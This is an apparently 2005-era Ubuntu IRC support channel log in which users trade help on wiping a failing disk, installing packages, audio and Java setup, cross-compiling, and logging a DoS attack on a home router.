[06:54] <hyphenated> BollocksMacenzie: I installed kubuntu-desktop meta-package after a stock ubuntu install
[06:55] <LaserLine> Bergcube, what does a logical fault mean?
[06:55] <BollocksMacenzie> hyphenated: I heard that was the only way to get skype to work!
[06:55] <Bergcube> LaserLine, I know how you feel!  Drop by, and I'll give you a 5-gig laptop disk.  :-S   Logical fault:  Error in the files, in the way they look to the OS.  As opposed to physical fault, a real damage to the magnetic surface.
[06:56] <hyphenated> BollocksMacenzie: hmm, I must have been lucky then. It worked fine for me after I installed the .deb
[06:56] <hyphenated> (it's annoying that they mixed up 'description' and 'summary' in their packaging though
[06:56] <occy> Do you guys think it's ok to leave an external USB drive going?
[06:56] <occy> zenrox, heyaz
[06:56] <occy> :)
[06:57] <BollocksMacenzie> hyphenated: I'd heard that you needed kde or kubuntu installed to use skype. Though I wondered how much of kubuntu you need to install to make it work?
[06:57] <LaserLine> Bergcube, I live in Israel....Kinda expensive todrop by :D
[06:57] <Gnonthgol> occy: why not, an external hd is an internal hd with a plastic cover.
[06:58] <occy> Gnonthgol, hmmm, good point.
[06:58] <LaserLine> Bergcube But thanks anyway ! - By the way, What is the name of that Suite ?
[06:58] <Bergcube> LaserLine, Yeah, I guess so!  But IF the disk is really failing, getting a new one is the best solution.  And you'll have to do it sooner or later.  If not, a low-level format will fix everything for you.
[06:59] <hyphenated> BollocksMacenzie: the only kde-like library it seems to use is qt, which shouldn't be too hard to install. (I installed libqt3c102-mt)
[06:59] <Bergcube> LaserLine, Ultimate Boot CD ?
[06:59] <LaserLine> Bergcube, Yeah, what's the name of the utiul that writes the wole drive...?
[06:59] <brenner> Bergcube: not many RAID gurus ... posted in the forum/mailing list yet?
[06:59] <brenner> searched them as well?
[06:59] <BollocksMacenzie> hyphenated: I already installed QT, but it still doesn't work. Anyhow, I've got to go for a while... Stuff to do...
[07:00] <Bergcube> LaserLine,  Active@ KillDisk Free Edition :  http://www.killdisk.com/downloadfree.htm
[07:00] <ompaul> Bergcube, what kind of array?
[07:00] <Bergcube> brenner, Oh yeah.  I did.  It's due to little help from the mailing list I keep bickering in here.
[07:00] <Bergcube> ompaul, Classical 2-disk mirror.  In other words, RAID-1.
[07:00] <brenner> Bergcube: meet ompaul
[07:00] <brenner> :)
[07:01] <Bergcube> :-)
[07:01] <ompaul> brenner, thanks :)
[07:01] <H0lyD4wg> how do i mount my digicam if gnome0volume-manager wouldn't start?
[07:01] <nooneelse> ubuntu havent a mp3 codec ?
[07:01] <Seveas> !mp3
[07:01] <ubotu> from memory, mp3 is read http://wiki.ubuntu.com/RestrictedFormats for information about mp3 support
[07:01] <LaserLine> Bergcube, I should download the Free ISO version ?
[07:02] <Bergcube> H0lyD4wg, I just HAVE to say this:  Duct-tape?!?!??
[07:02] <ompaul> Bergcube, I have used it when demanded, but I prefer rsync for the following reason I can track back to my previous pasts
[07:02] <Bergcube> LaserLine, Yes.  But go for the full version.  Then you'll get a small Linux live CD as well.
[07:03] <Seveas> H0lyD4wg, pmount /dev/sda1 (or whatever node your cam is)
[07:03] <ompaul> Bergcube, and this allows me move up versions by slotting in a primary drive and keeping the stuff I want a copy of on drive two
[07:04] <Bergcube> ompaul, I see.  But I want to mirror my disks....    Anyway, I've found out how to do it, and from the mailing list I've found the work-around to get it functioning in Ubuntu 5.04.  NOW I wonder how I can CHECK if it really mirrors the disks, or just pretends it does....
[07:04] <LaserLine> Bergcube, I only see a Free version...
[07:04] <Bergcube> LaserLine, Then grab this one:  http://www.planetmirror.com/pub/ubcd/3.3/ubcd33-full.exe
[07:05] <LaserLine> Bergcube, I already d/l it... I meant the Active Killdisc :D
[07:06] <H0lyD4wg> Seveas: successfully mounted, but when i cd in and ls it seems that there aren't any files there
[07:06] <Bergcube> LaserLine, Yeah the free version os ok.  It is limited, but does what you need.  Wipe the entire disk once.
[07:06] <rodietze> yo ppl, please could somebody help me with a problem on xmms?
[07:06] <Bergcube> os = is
[07:07] <brenner> rodietze: what is it?
[07:07] <LaserLine> Bergcube, I have ACronis Disc Director 9 (it's kinda live cd) - I Deleted all the Partitions on the drive, and then Wrote on the (wipe) 3 times (chose 3 when it asked the number of times to wipe) is that good ?
[07:07] <rodietze> I have ubuntu hoary 5.04, and xmms was working quite good with wma support too, but it seems after i have installed nvidia drivers for my video adapter I got some error Xlib async reply
[07:08] <Bergcube> LaserLine, That should be more than good.  That is NOT the same as low-level formatting.  But if that didn't give any errors chances are that the magnetic surface is good and that your disk is now ready for a fresh install.  And you won't need to run Killdisk as well, your disk is already wiped then.
[07:08] <froopyloot> hi I have a question about installing .deb packages on ubuntu
[07:08] <H0lyD4wg> Seveas: err, my bad. /media/foo instead of /mnt/foo . thanks
[07:08] <rodietze> I have readden some foruns but the only tip I could get is that it's a problem related to threading stuff
[07:08] <LaserLine> Bergcube, but still have GRUB....
[07:09] <brenner> froopyloot: ask away
[07:09] <LaserLine> Bergvube when I boot it, instead of seeing "no operating system found) I see "GRUB" and that's it...
[07:09] <rodietze> brenner got it?
[07:09] <Bergcube> LaserLine, THAT is VERY strange!  Have you set the BIOS option to protect the MBR on?  It often says something about protecting against virus...
[07:10] <froopyloot> thanks brenner, do I: dpkg install package.deb
[07:10] <topyli> i'm getting tired of setting very restrictive mode for myself. this is supposed to be irc after all :(
[07:10] <LaserLine> Bergcube, It's Off....
[07:10] <brenner> rodietze: not familiar with the nvidia problem, sorry.
[07:10] <brenner> froopyloot: dpkg -i
[07:10] <froopyloot> check, thanks
[07:10] <brenner> froopyloot: you _do_ know you should try and check if it's in the repo first don't you?
[07:10] <rodietze> froopyloot don't forget to make sure u have all dependencies
[07:10] <brenner> rodietze: which forums? the ubuntu one?
[07:10] <Cyber-shot> who know how to use webcam in ubuntu?
[07:10] <froopyloot> yeah, the package name is shelter manager
[07:10] <Bergcube> LaserLine, After a wipe the disk should be completely and utterly blank.  If the software is unable to zero it, the disk is failing BADLY.  But perhaps it's a good last resort to try Killdisk as well then.
[07:11] <rodietze> yes and all the human possible ones to check on google
[07:11] <froopyloot> and I'm not sure on the dependancies
[07:11] <brenner> froopyloot: do they provide a source package?
[07:11] <brenner> *source archive for installation
[07:12] <froopyloot> hmmm, yes I believe so
[07:12] <LaserLine> Bergcube, Tomorrow I'm going to buy  huge ELEKTRO-MAGNET !!!!!
[07:12] <rodietze> some of them tells me xmms is trying to use some multi-threaded function that generates that error
[07:12] <froopyloot> http://sheltermanager.sourceforge.net/news.php
[07:12] <brenner> froopyloot: might be a better idea to use 'checkinstall' with the source .... the precompiled deb file might cause probs if it's not for ubuntu
[07:12] <froopyloot> that is the project homepage
[07:13] <froopyloot> ok, I am a little scared of installing from source
[07:13] <Bergcube> LaserLine, Hehe.  That will wipe the disk.  but it won't be operalbe afterwards.  You'll remove the index-tracks the harddisk uses for positioning as well.  It'll lose it grip on reality.
[07:13] <brenner> froopyloot: which is why you use 'checkinstall' :)
[07:13] <rodietze> heh
[07:13] <brenner> froopyloot: makes a deb file for you which you then install (i think it actually installs for you as well)
[07:13] <LaserLine> Bregcube, Loading UBCD now..
[07:13] <froopyloot> cool
[07:13] <rodietze> uhmm maybe the xmms version that I have at home is old
[07:13] <froopyloot> I didn't know about that
[07:13] <brenner> froopyloot: then you can easily remove it with synaptic later if you want
[07:14] <LaserLine> Bergcube, Should I choose Hard Disk or Filesystem ?
[07:14] <rodietze> what is the version of xmms that supports multi-threadding?
[07:14] <brenner> froopyloot: rather than the hard way of removing programs built from source
[07:14] <Bergcube> LaserLine, Hang on!
[07:14] <LaserLine> Bergcube, Okay. waiting.
[07:14] <brenner> froopyloot: check it out.  it's in universe
[07:14] <froopyloot> right then, I will try that out
[07:14] <meeep> !kernel
[07:14] <Bergcube> LaserLine, Hard-disk.  And go a few pages "in"...
[07:15] <froopyloot> universe?
[07:15] <meeep> well, a good shot, how do i find out my kernel v?
[07:15] <brenner> froopyloot: universe repo
[07:15] <brenner> !repos
[07:15] <ubotu> [repos]  at http://www.ubuntulinux.org/wiki/AddingRepositoriesHowto A list of official repositories can be found at http://paste.ubuntulinux.nl/969
[07:15] <samigaru> uname -a, meeep
[07:15] <LaserLine> Bergcube, In ? I see Maxtor, Seagate, Samsung
[07:15] <meeep> TY
[07:16] <froopyloot> Awsome you guys rock
[07:16] <rodietze> exit
[07:16] <Bergcube> LaserLine, there is some text about what to do to get to the next page.  But I might remember it wrong.  Perhaps it IS filesystem.
[07:16] <LaserLine> Bergcube, I don't see an IBM tool....
[07:17] <freak`da> Hi guys, i have a problem with my ubuntu setup, i installed it yesterday und downloaded all avaible patches, today i started ubuntu and when i want to open the root terminal or the update-manager i am asked after a password, i enter the password typed at the installation but then there comes an error: ailed to run /urs/bin/update-manager: \n Unable to copy the user's Xauthorization file. Want can i do to fix the error?
[07:17] <brenner> meanwhile, anyone heard of scrollkeeper?
[07:17] <kemik> !pastebin
[07:17] <ubotu> somebody said pastebin was a site where you can post large texts and screenshots so you don't flood the channel. You can find it at http://paste.ubuntulinux.nl
[07:17] <froopyloot> thanks alot for the help ill try it right now
[07:18] <brenner> kemik: it wasn't _that_ large. :-/
[07:19] <Mitario> how do I enable a wifi card as eth0?
[07:19] <LaserLine> Bergcube, Left - Right arrors go in.... WOW that's loaded with featuures.... what to choose !???!?!?!
[07:19] <Gnonthgol> freak`da: have you done anything to a file in the hone dir.?
[07:19] <Gnonthgol> *home
[07:20] <kemik> brenner:   ?
[07:21] <freak`da> Gnonthgol: no i just downloaded a few files
[07:23] <Gnonthgol> freak`da: what if you use the sudo command in a normal terminal?
[07:23] <Bergcube> LaserLine, I suggest you start by wiping the disk with Killdisk.  If that doesn't remove grub either there's something terribly bad amiss with your disk.
[07:24] <LaserLine> Bergcube how long does it take to kill a DISK ?
[07:24] <freak`da> i can't open a terminal, either. it just closed itself
[07:24] <Bergcube> LaserLine, As there isn't any hard-disk management tool there specifically for toshiba disks, I suggest trying Seagate's or IBM's.  But try wiping it first.  Besides:  The UBCD is very logical and tidy set up.  So most of it is intuitive.  Use the website to read about the various utilities.  :-)
[07:24] <tristanmike> um, sorry, what's going on?
[07:25] <LaserLine> Bergcube, The Maxtor one said in passed the 90 seconds test...
[07:25] <Bergcube> LaserLine, Usually about an hour, or less.  Depends on disk speed, and size.
[07:25] <Gnonthgol> freak`da: try using the console on tty1
[07:26] <Bergcube> LaserLine, that is good.  Then the onboard disk controller is communicating.  Try wiping it then.  (Killdisk)
[07:26] <LaserLine> Bergcube, I'm goinf to kill this drive, it's going to wish it never made problems :)
[07:26] <Bergcube> ROTFL!
[07:26] <tristanmike> lol
[07:27] <LaserLine> Bergcube, Is there a way me contacting you if i'll need some more advice, except from the IRC Channel ?
[07:28] <pef> bye !
[07:28] <Bergcube> By the way....  Do you know the best way to accelerate a Mac?  9.8 m/s ^2..........        ;-)
[07:28] <freak__> soryy for the disconnect
[07:28] <freak__> how can i access tty1? alt and f1 wont work^^
[07:28] <Bergcube> LaserLine, See direct /msg......
[07:29] <LaserLine> Bergcube, What method to choose in killdisk ? "One pass zeros, One Pass Random' US DOD, etc etc..."
[07:29] <Gnonthgol> freak__: Try all the other ttys
[07:30] <Bergcube> LaserLine, it is a limited version.  It is only one method that works.  The default one.  I do not remember which one that is.  If you select one of the disabled options it'll tell you.
[07:30] <Epix> hey! how do i set up this type of network without using a router. I want one computer (with to ethernet cards) to take in the internet connection and use it but also share it with the windows box plugged into its other network card. How do I do it?!
[07:30] <freak__> f2 is execute a bin f3 makes nothing and f4 closes the focuses application
[07:31] <Gnonthgol> freak__: what about Ctrl + Alt + F1
[07:32] <LaserLine> Bergcube, Ok - I'm wiping it now... man I hate HD's... I had problems with WD, the only company I buy is Maxtor. have a 80GB in my desktop, and a OneTouch USB externel drive(160GB)
[07:32] <Bergcube> LaserLine, I tend to agree.  I've never had problems with Maxtor.
[07:32] <Gnonthgol> au
[07:33] <Bergcube> Heh heh heh heh!
[07:33] <Gnonthgol> Bergcube: why did you do that
[07:34] <LaserLine> Bergcube, after I had problems with WD (it was for backup) and it blew after 2 months, I called a Data recovery company, to ask how much it'll cost me to fix it, they wantet 500$ for recovering data....
[07:34] <LaserLine> then I asked what HD comes least to the lab, they said Maxtor, Seagate, Hitachi. They also said Samsung were kinda good, but it's a bit*h to recover data from...
[07:34] <Bergcube> Gnonthgol, I knew you were testing power-supplys, so I thought I'd let you have another one.  (And perhaps I'm a little evil?!)
[07:36] <Bergcube> LaserLine, ONLY 500$ ???  Dirt cheap.  Seen what level the prices at www.ibas.com are at?  (But they even recover data from PCs that have been inside buildings that burnt to the ground...)
[07:36] <Gnonthgol> Bergcube: Defect ones i have, and I am testing ACDC adapters and switches, not Power suplyes
[07:36] <Bergcube> Gnonthgol, Ah.  Ok.  Good luck anyway!  :-)
[07:37] <LaserLine> Anyone installed Ubuntu on an Asus A7N8X-Deluxe motherboard, and a ATI Radeon 9500PRO ?
[07:37] <spiral> hi
[07:37] <LaserLine> (with 1GB of ram)
[07:38] <LaserLine> Bergcube LOL !!
[07:38] <tristanmike> I got the mobo, but nvidia card
[07:38] <LaserLine> trisranmike, Any special configuraion's ?
[07:38] <tristanmike> no, set up like a dream, I have a sound card w/ onboard turned off in the BIOS
[07:39] <LaserLine> Tristanmike, I would like the Onboard....
[07:39] <LaserLine> Tristanmike, I don't have a Soundcard...
[07:39] <tristanmike> LaserLine, Soundblaster Live Value is cheap, if ya got some cash....
[07:40] <tristanmike> LaserLine, that's what I have :)
[07:40] <LaserLine> tristanmike, but the nforce2 soundstorm is a good sound system (at least for windwos)
[07:40] <neoliminal> I've got someone banging a dos attack on my router.  I was planning on putting my ubuntu into the DMZ to collect data on the attack.  What software do I need to collect the data?
[07:41] <LaserLine> Guys, I'm going to be AFK for a while... Thanks for all the help.
[07:41] <Bergcube> Bye, LaserLine.
[07:41] <tristanmike> LaserLine, bye
[07:41] <adjacent> neoliminal: tcpdump
[07:42] <tristanmike> LaserLine, nforce2 should work off the bat
[07:42] <Gnonthgol> I forgot to tell freak__ how to get back to tty7, LOL
[07:42] <neoliminal> adjacent: does it need to be turned on, or is it on by default?
[07:43] <adjacent> neoliminal: its probably a waste of time. if youre not familiar with tcpdump, then you arent familiar enough with network protocols to understand the attack
[07:43] <Bergcube> Idiotic factoid of the day:  "Speedbump" in norwegian is "fartsdump".  It's a wonder we get any tourists here at all.
[07:43] <neoliminal> adjacent:  I'm hoping to pass the data to my ISP.
[07:44] <adjacent> just tell them and let them watch for the attack
[07:44] <neoliminal> they want log files
[07:44] <adjacent> they are your upstream host, they see the data going to/from your ip anyway
[07:44] <neoliminal> but my belkin just say "dos attack stopped"
[07:44] <rodietze> hi guys, please I'm new into linux, and Ubuntu was looking so good for me, except for this error: Xlib unnexpected async when I try to listen to musics on xmms
[07:44] <neoliminal> I agree... their just being ... jerks.
[07:44] <konra`> rodietze, try using rhythmbox instead of xmms
[07:45] <Bergcube> neoliminal, You could consider replacing the router with a Smootwall 2.0 free edition firewall.  And forget about the attack.  :-)
[07:45] <neoliminal> and people are having a hard time getting to my website now, so I have to do something.
[07:45] <konra`> rodietze, that will be in applications -> sound and video -> Music Player
[07:45] <rodietze> konra` is that the best choice than xmms?
[07:46] <konra`> rodietze, yes
[07:46] <Gnonthgol> "Speadbumps", a bump in the road to prevent people form driving to fast, but may have the opposite efect on some cars with air suspension.
[07:46] <rodietze> konra` yeah I know where it is, but wait... why can't I solve this problem?
[07:46] <_bt> hello im getting "failed to initialize HAL" right when my desktop is starting
[07:46] <konra`> rodietze, xmms has problems with ubuntu - it's probably fixed in breezy
[07:46] <adjacent> Bergcube: how is that? even if the firewall drops your attack it still limits the available inbound bandwidth
[07:46] <Bergcube> Gnonthgol, ......or on drivers who make their cars go sideways over them during the white season!
[07:46] <_bt> how can i sort this?
[07:47] <rodietze> konra` oh ok :) thanks
[07:47] <konra`> rodietze, welcome
[07:47] <konra`> :p
[07:47] <Bergcube> adjacent, Yes.  That is true.  Short-sighted of me.  I stand corrected.  From now on, nobody should listen to a word I say!
[07:48] <adjacent> Bergcube: it would probably help ;) so its still good advice!
[07:48] <mumbles> ars3e
[07:48] <neoliminal> Ok, I'll see what I can do.
[07:48] <neoliminal> any other suggestions before I log out?
[07:48] <mumbles> think my memory on the server ocmptuer is going to go any minit now
[07:48] <adjacent> neoliminal: research tcpdump so you can figure out whats happening
[07:48] <nekron> what country is the ubuntu project?
[07:48] <Bergcube> adjacent, at least it'll make whatever's /behind/ the Smoothwall a whole lot safer.
[07:49] <neoliminal> adjacent: ok, will do.
[07:49] <adjacent> Bergcube: for sure
[07:49] <Gnonthgol> mumbles: some services neads to be restarted now and then to use less memory
[07:50] <mumbles> nah.. the comptuer starts up and spend time checking th ememory
[07:52] <Bergcube> BRB!  Phone...............
[07:53] <LasseL> thanks for letting 275 people know that :p
[07:54] <dducko> I am haveing some issues with sound, Anyone willing to give me some pointers?
[07:54] <dducko> Sound card was correctly recognized, and sound works in some places
[07:54] <konra`> dducko, "killall esd"
[07:55] <konra`> before running the thing that should make sound and doesn't
[07:55] <konra`> and then afterwards, "esd" again
[07:55] <dducko> ahh Ok..
[07:55] <dducko> thanks
[07:55] <mumbles> woah
[07:55] <mumbles> it still hasent started up
[07:55] <haakonn> hi, i have an ati radeon 9200, and the ubuntu install set up xorg.conf to use the "ati" driver. this results in xorg freezing randomly, suddenly displaying some graphical artifact, forcing me to press the reset button. i tried changing the driver to "radeon", but same thing. now i have to use "vesa", but that sucks of course. any ideas?
[07:56] <dducko> I was a windoze user yesterday.... Just made the switch, so wish I would have found this distro a long time ago
[07:56] <konra`> I was a windows user two days ago, dducko :p
[07:56] <haakonn> welcome to the free world then :)
[07:57] <LasseL> dducko, i belive there is a good howto on the forums on getting sound to work
[07:57] <Gnonthgol> !sound
[07:57] <ubotu> from memory, sound is http://www.ubuntulinux.org/wiki/DebuggingSoundProblems/
[07:57] <number2178> any tutorial for beginner in Linux how to use cross compiler to build Win32 applications ? i am a professional developer, etc. i need a couple of tips how to start, like switches/options for GNU C, required libs, h files, etc.
[07:58] <Seveas> number2178, consider is impossible
[07:58] <konra`> truely.
[07:58] <number2178> Seveas, not even to create LIB/DLL ?
[07:58] <Gnonthgol> I beleave freak__ have found the poweroff command
[07:58] <iDaywalker> anyone of you used (k)qemu?
[07:59] <Seveas> if these programs use the windows api they don't run on linux
[07:59] <konra`> maybe if you code in c# you can use mono and then vs back on windows...
[07:59] <number2178> i understand that VLC uses Linux to generate Win32 native EXE. am i right ?
[07:59] <konra`> but thats about as close as you get
[07:59] <Seveas> libwine may work, but it's no guarantee
[07:59] <Seveas> that's the other way around...
[07:59] <number2178> i am not going to run Win32 application, only to compile it
[08:00] <Seveas> i see
[08:00] <konra`> !azureus
[08:00] <ubotu> azureus is, like, totally, a popular bittorent client written in Java, it can be downloaded from the hoary-extras repository
[08:00] <Seveas> i doubt you'll find experts on that in here...
[08:00] <number2178> may be i explain myself not clear enough. i am trying to use Linux as a development platform
[08:00] <konra`> ah.
[08:01] <iDaywalker> number2178, qemu :P
[08:01] <reiki_work> can anyone suggest a good book on The Gimp? I need to wean myself off of PhotoShop. :) I just passed the 2 weeks mark on Ubuntu only. Haven't booted to WinXP in 2 weeks. This is working out great! :)
[08:02] <Gnonthgol> reiki_work: http://www.gimp.org/books/
[08:02] <number2178> iDaywalker, what is "qemu" sorry i am not a heavy user of chats
[08:02] <mjr> http://www.google.com/search?q=cross-compiling+windows+linux
[08:02] <sexcopter8000m> when breezy badger is released, will it be possible to upgrade from hoary and keep my setup, installed packages etc?
[08:02] <number2178> thanks
[08:02] <reiki_work> Gnonthgol: thanks.. appreciated
[08:02] <LasseL> number2178, i'd just use a language that was born to be cross platform :p
[08:02] <sexcopter8000m> for that matter, is there any official pages with info on breezy?
[08:03] <iDaywalker> number2178, qemu is a x86 emulator, you can run windows in it... I'm going to use it for compilation
[08:03] <number2178> i have no alternatives regarding the language
[08:03] <LasseL> fair enough
[08:03] <theeil> is there a nice ide for perl (other than kdevelop)?
[08:03] <iDaywalker> so I write my source in quanta and compile for windows in qemu
[08:03] <iDaywalker> with vc++
[08:03] <LasseL> theeil, jEdit or emacs ?
[08:03] <mumbles> yay
[08:03] <number2178> and what is quanta ? editor ?
[08:03] <mumbles> now installing apache on server
[08:04] <iDaywalker> quanta is a source editor
[08:04] <iDaywalker> not as heavy as kdevelop
[08:04] <iDaywalker> I used them both ;)=
[08:05] <number2178> kdevelop is it only editor or this is an IDE with debugger ?
[08:05] <Llan> kdevelop is a whole environment
[08:05] <hanno> hi, I'm trying to get openoffice to work with cups
[08:05] <hanno> is this even possible? I can't find anything in oo that looks like options to setup cups
[08:06] <number2178> i greatly appreciate the tips, thanks
[08:06] <MaxM_MA_USA> Hi, excuse me for interupting. I'm a newbie to linux, and I have no idea how to install anything outside of ubuntu's repositorys
[08:06] <Gnonthgol> hanno: is cups up and runing?
[08:07] <Gnonthgol> MaxM_MA_USA: what do you want ti install
[08:07] <MaxM_MA_USA> Clam AV
[08:07] <hanno> Gnonthgol, yes
[08:07] <hanno> Gnonthgol, I can print from kde apps
[08:08] <Gnonthgol> hanno: then you should be able to install from openoffice
[08:08] <number2178> does kdevelop requires KDE/Kubuntu or it will work with Gnome too ?
[08:08] <Gnonthgol> MaxM_MA_USA: Is it a .deb?
[08:08] <reiki_work> amazing... this whole book is online AND you can download an HTML version... http://gimp-savvy.com/BOOK/index.html  ... Grokking the Gimp
[08:08] <hanno> well, but how?
[08:08] <hanno> I just see a "generic printer" and nothing else
[08:08] <reiki_work> THAT's open source! :)
[08:08] <vedasisme> Hi, I downloaded and burned the mac install CD, but I don't know which file on the cd installs ubuntu
[08:09] <MaxM_MA_USA> no its a jar.gz
[08:09] <mumbles> how do you change Repositories using # only ?
[08:09] <mjr> vedasisme, you should boot from the CD
[08:10] <ttyS0> vedasisme, put CD into cdreader & reboot
[08:10] <vedasisme> as in, restart the computer with the cd in the drive?
[08:10] <vedasisme> ok.
[08:10] <LasseL> number2178, there is also http://www.eclipse.org/cdt/ if you are looking for a c/c++ ide
[08:11] <Gnonthgol> hanno: does the "generic printer" works?
[08:11] <hanno> no
[08:12] <hanno> else i wouldn't ask
[08:12] <hanno> The setup here is a server (debian-based) providing a cups-service and several clients should use this print-server
[08:13] <mumbles> how do you change Repositories using # only ?
[08:13] <Gnonthgol> mumbles: edit /etc/apt/sources.list
[08:14] <number2178> LasseL, thanks. i worked with Eclipse before in Java. is integration for C/C++ on the same level - debugger, editor, compiler ?
[08:15] <Dime> how do i install a rpm?
[08:15] <LasseL> number2178, honestly i havn't used it, i doubt it will be *that* good, but it could still be good and if you know the basic environment that goes a long way
[08:15] <Spudchat> thanks for the advice, my 40gig wd passport runs just fine for both my linux system and the windows ones at school :)
[08:17] <Gnonthgol> hanno: http://www.google.com/search?client=opera&rls=en&q=printing+openoffice+ubuntu&sourceid=opera&ie=utf-8&oe=utf-8
[08:17] <ttyS0> Dime, convert .rpm into .deb with: "sudo alien blah.rpm" & then just install generated .deb file
[08:17] <number2178> how people usually develop in C/C++ in Linux ? editor like emacs and command line compiler/make/shell scripts ?
[08:17] <Dime> thanks
[08:17] <Spudchat> but how would i remove it, just unmount the volume?
[08:17] <LasseL> yeah
[08:17] <mjr> number2178, that's pretty common; some use ides such as anjuta, eclipse or kdevelop
[08:17] <number2178> any GUI for the debugger ?
[08:17] <Spudchat> yeah to me?
[08:17] <LasseL> number2178, it looks pretty sweet: http://dev.eclipse.org/viewcvs/index.cgi/%7Echeckout%7E/cdt-home/news/cdt30-whats-new/CDT-3.0-News.htm?cvsroot=Tools_Project
[08:18] <rufu> can anyone help me out, installation is hanging at detecting card services on my laptop
[08:19] <mjr> number2178, ddd is a gui debugger, I suppose the IDEs have debugging helpers too
[08:19] <number2178> if i decide to go with kdevelop, does it mean that i need to switch to kubuntu ?
[08:19] <Riddell> number2178: no
[08:20] <LaserLine> Bergcube, Hello - I'm back... Now I get Operating System not Found, after killdisk :D
[08:20] <Dime> how do i install
[08:20] <Dime> .deb
[08:20] <sexcopter8000m> when breezy is released properly, how will we upgrade hoary systems? will it involve wiping and starting afresh?
[08:20] <ttyS0> Dime, sudo dpkg -i blah.deb
[08:20] <Dime> thanks
[08:20] <number2178> loosely related question. what about different desktops. something lighter than Gnome or KDE ? is it possible ?
[08:21] <mumbles> gagh i hate vi
[08:21] <number2178> ...and still with all applications, apt-get, synaptec, etc.
[08:21] <mumbles> just managed to mess up all of the Repositories
[08:21] <LasseL> sexcopter8000m, if that is the case I'll wipe my a** in it a reinstall winblows :)
[08:22] <thoreauputic> !upgrade2breezy
[08:22] <ubotu> upgrade2breezy is, like, totally, sudo sed -e 's/hoary/breezy/' -i /etc/apt/sources.list && sudo apt-get update && sudo apt-get dist-upgrade, or if and when it breaks your computer, you get to keep both pieces
[08:22] <_BIJ_> hi, does anyone know how to change the mouse pointer style of the x-server... i want instead of the white one a macOSX like black one...
[08:22] <_BIJ_> ???
[08:23] <thoreauputic> _BIJ_: you can install gcursor
[08:23] <_BIJ_> via apt?
[08:23] <thoreauputic> _BIJ_: your changes take effect on next login to gnome
[08:24] <thoreauputic> yes
[08:24] <_need-help> hello , i try to install ubuntu , but it stops when `configuring dhcp`
[08:24] <_need-help> what can i do ? :)
[08:24] <thoreauputic> !info gcursor
[08:24] <ubotu> gcursor: (gnome cursor theme managing software), section universe/gnome, is optional. Version: 0.061-ubuntu3 (hoary), Packaged size: 14 kB, Installed size: 152 kB
[08:24] <_BIJ_> kk thx
[08:25] <Shacham> how do i install Java Runtime Environment and make it work properly in my Mozilla Firefox?
[08:25] <_BIJ_> I'll restart x now... see you
[08:25] <dgibb> can any regular rhythembox users tell me why I can't edit tags while in the program?
[08:25] <Gnonthgol> _need-help: du you have a dhcp server?, what does that say?
[08:25] <Seveas> Shacham, easiest id to grab a deb
[08:25] <thoreauputic> !javaa
[08:25] <ubotu> thoreauputic: Did you get hit by a windmill?
[08:25] <thoreauputic> !java
[08:25] <ubotu> extra, extra, read all about it, java is to install Java please see https://wiki.ubuntu.com/Java
[08:25] <rufu> no suggestions on how to get passed my PCMCIA issue when installing?
[08:25] <_need-help> Gnonthgol i have two net cards , but no connection , as i try to install offline .
[08:25] <thoreauputic> Seveas: ah, is hoary-extras having problems?
[08:26] <Seveas> it was, no idea about the current status
[08:26] <Shacham> thoreauputic, i tried to do that but i don't have this package: sun-j2re1.5
[08:26] <BlankB> rufu: are there any pcmcia cards in the machine?
[08:26] <thoreauputic> Seveas: I noticed apt-get update is still giving "Ign:"
[08:26] <rufu> BlankB: no
[08:26] <Dime> anyone here ever use prboom?
[08:26] <Seveas> Shacham, grab it from seveas.ubuntulinux.nl (send me a username and password in private and i'll let you in)
[08:26] <Seveas> thoreauputic, that's not an error :)
[08:26] <thoreauputic> Shacham: yes, the repo is dodgy at the moment
[08:27] <Shacham> oh wait now i have it
[08:27] <thoreauputic> Seveas: hmm... OK :) So why do I get it?
[08:27] <Gnonthgol> _need-help: tryed typing expert whan you should just press enter and skip the network?
[08:27] <Shacham> last time i tired it was missing :P
[08:27] <Shacham> tried*
[08:27] <Spudchat> guys thanks for all the help but im moving to fedora core 4 :)
[08:27] <Seveas> Spudchat, good luck at the dark side ;)
[08:27] <Spudchat> lol
[08:27] <Spudchat> thanks
[08:28] <_need-help> Gnonthgol nope , but i`ll try
[08:28] <_need-help> thank ;)
[08:28] <Spudchat> who knows maybe ill come crawling back :)
[08:28] <Seveas> Spudchat, we'll be waiting for you ;)
[08:28] <mumbles> damm i had a typo
[08:28] <Spudchat> good bye for now :)
[08:29] <Gnonthgol> good bye
[08:29] <BlankB> rufu: is that during first part or second part of install.
[08:29] <rufu> BlankB: first part, when it does the hardware detection
[08:31] <Bergcube> I bid you farewell, Ubuntuers.  The atom-based part of my life calls me away from the bit-based one.  Always remember, it's impossible to overestimate the meaninglessness of absolutely everything!
[08:32] <thoreauputic> Bergcube: thanks for the meaningless farewell ;-)
[08:32] <Bergcube> thoreauputic, and you know it!  :-P
[08:33] <anachronism> erm just a quick question, how do i run .sh -scripts?
[08:33] <LasseL> anachronism, they need to be marked as executable
[08:33] <LasseL> anachronism, and if you are in the same folder you run it with ./myscript.sh
[08:34] <anachronism> ah i tried that, but i guess i'll have to change the file-rights then
[08:34] <anachronism> thank you
[08:34] <LasseL> that depends
[08:34] <Shacham> !java
[08:34] <ubotu> well, java is to install Java please see https://wiki.ubuntu.com/Java
[08:35] <LasseL> chmod 755 myscript.sh will allow everybody to run it
[08:35] <thoreauputic> anachronism: or try running  sh script.sh
[08:35] <anachronism> yes, that's it. it wasn't marked as executable for the owner. Now it works, thank you LasseL :)
[08:35] <LasseL> Shacham, my java install is from backports and the package is called sun-j2sdk1.5
[08:37] <topyli> after breezy upgrade, my work box is very slow at getting a dhcp lease when i boot
[08:37] <Shacham> LasseL, i have sun-j2re1.5 and sun-j2sdk1.5 installed but it's still not working in firefox
[08:38] <LasseL> Shacham, ah, just that, you need to create some stupid link ...
[08:38] <topyli> Shacham: why do you have both?
[08:39] <LasseL> /usr/lib/mozilla-firefox/plugins/libjavaplugin_oji.so -> /usr/lib/ j2sdk1.5-sun/jre/plugin/i386/ns7/libjavaplugin_oji.so
[08:41] <kemik> how do i add "shortcuts" in nautlius? (like the "Home Folder" and "File System" in the left-pane treeview)
[08:42] <LasseL> kemik, you add a link in your /media folder
[08:42] <Shacham> :)
[08:42] <Shacham> its working
[08:43] <Shacham> LasseL, thx
[08:43] <BurgerMann> Does anyone know a linux prog, that can convert file encoding. I have a whole bunch of UTF-8 files I want converted to IS0 8859?
[08:43] <Webby`> Help! I get an error message at start up saying it can't start X
[08:43] <Webby`> What do I do?
[08:43] <Seveas> BurgerMann, iconv
[08:43] <Shacham> damn its not working
[08:43] <BurgerMann> iconv? :s
